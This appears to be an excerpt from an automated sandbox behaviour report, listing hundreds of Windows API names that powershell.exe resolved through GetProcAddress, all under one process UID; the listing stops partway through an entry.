"powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisibleW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath2W (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath2A (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath2 (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter RtlQueryAllFeatureConfigurations (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter RtlQueryFeatureConfiguration (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter NtQueryWnfStateData (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter LsaClose (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter LsaFreeMemory (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter LsaOpenPolicy (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter LsaLookupSids (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetNetworkParams (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter 